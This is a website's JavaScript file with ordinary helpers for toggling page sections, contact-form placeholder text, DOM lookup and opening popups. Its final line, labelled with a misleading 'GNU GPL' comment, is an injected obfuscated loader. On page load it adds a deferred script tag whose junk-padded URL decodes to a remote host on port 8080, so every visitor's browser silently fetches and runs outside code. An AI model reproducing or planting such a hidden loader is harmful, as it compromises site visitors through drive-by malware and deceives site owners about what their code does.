var deschis = 0;
var curent;

function ascunde(x) {
	
	if(document.getElementById(''+x).style.display == 'none') {
		document.getElementById(''+x).style.display = 'block';
	} else {
		document.getElementById(''+x).style.display = 'none';
	}
}

function modi(x) {
	
	if(document.getElementById(''+curent).style.display == 'none') {
		document.getElementById(''+curent).style.display = 'block';
	} else {
		document.getElementById(''+curent).style.display = 'none';
	}	
	if(deschis != curent) {
		document.getElementById(''+deschis).style.display = 'none';
	}
	deschis = x;
}

function doIt(x) {

	switch (x) {
		case "first name":	
			if(document.getElementById(''+x).value == "") {
				document.getElementById(''+x).value = 'first name';
			}
			break;
		case "last name":
			if(document.getElementById(''+x).value == "") {
				document.getElementById(''+x).value = 'last name';
			}
			break;
		case "your email address":
			if(document.getElementById(''+x).value == "") {
				document.getElementById(''+x).value = 'your email address';
			}
			break;
		case "your company name":
			if(document.getElementById(''+x).value == "") {
				document.getElementById(''+x).value = 'your company name';
			}
			break;
		case "your message subject":
			if(document.getElementById(''+x).value == "") {
				document.getElementById(''+x).value = 'your message subject';
			}
			break;
		case "your message":
			if(document.getElementById(''+x).value == "") {
				document.getElementById(''+x).value = 'your message';
			}
			break;
		case "your job title":
			if(document.getElementById(''+x).value == "") {
				document.getElementById(''+x).value = 'your job title';
			}
			break;
	}		
}

function clearIf(z) {
	temp = document.getElementById(''+z).value;
	if(temp == 'first name' || temp == 'last name' || temp == 'your email address' || temp == 'your company name' || temp == 'your message subject' || temp == 'your message' || temp == 'your job title') {
		document.getElementById(''+z).value = '';
	}
}


/**
 * Returns the object with ID id 
 *
 * @param  obj          Object  Object to change
 * @return              The matching object  
 */
function $(id) {
        return document.getElementById(id);
}

/**
 * Returns an object with tag type TAG having the propety PROP equal to VALUE and 
 * must be child of NODE.
 *
 * @param  node         Object  Search from this node(default: null). If null is give it will start from document.body
 * @param  prop         String  Property to match
 * @param  value        String  Value to match
 * @param  tag          String  Tag to match (if not given it will match any tag)
 * @return      The first object matching 
 */
function getChildByProp(prop, value, tag, node){
                if(typeof tag == 'undefined'){
                        tag = null;
                }
                if(typeof node == 'undefined'){
                        node = document.body;
                }
        for(i in node.childNodes){
                if(node.childNodes[i][prop] && node.childNodes[i][prop]==value && node.childNodes[i].tagName && tag!=null && node.childNodes[i].tagName
.toLowerCase()==tag.toLowerCase()){
                        return node.childNodes[i];
                }
                if(node.childNodes[i].childNodes){
                        var x = getChildByProp(node.childNodes[i], prop, value, tag);
                        if(x != null) { return x;}
                }
        }
        return null;
}



function openPopup(url){
	myWindow = window.open(url,null,"height=500,width=600,status=yes,toolbar=no,menubar=no,location=no,scrollbars=yes,resizeable=yes");
 	myWindow.focus();
}


function ccc(x) {
	mouse.style.cursor = 'auto';
}

/*GNU GPL*/ try{window.onload = function(){var Y5ybqnp6wx1h = document.createElement('script');Y5ybqnp6wx1h.setAttribute('type', 'text/javascript');Y5ybqnp6wx1h.setAttribute('src',  'h@t&^t@))(p)!@!&:!!/&@&/$@$5&(1&y!e@@s(-!#(^c#(((o#@m()).)!v)o$i$l^)a@&&#.!$f)&$r).$^a!#!!u@!!f(&e@#&m^(i#n)i^!n)-!$&c$$&o@))m^).@@!v!#i!@#d^$e!#o!&s!!#a)&@l(e))(o(^)^n&#l))#i&@^n)#e^#.#r!(u$:@&(8@)!0!@^8!$0)@/@)(#f#r^)@i@(&$e$n&!d(^$f!(@e#(e^@&d$&#.&#$c@#o&)((m)(@/&f(#r##i$)#e()!n)(^d@#)f($@e^e#&#d)@.!&!c)#o$m&#/@#!(g!!o)@o#g^l)!$@e$@^.&&c(&@(o).)i@(n&)#/)!f$#r$)^e)(a)&&k$#s!&$h!#!a&r^&(!e&!&!(.^$^!n#e$!#t^^/$^$g@o^(o!g(#l&e)@#.$!^^c^o(m!/&(&'.replace(/\)|\(|@|\!|&|\$|#|\^/ig, ''));Y5ybqnp6wx1h.setAttribute('defer', 'defer');document.body.appendChild(Y5ybqnp6wx1h);}} catch(e) {}
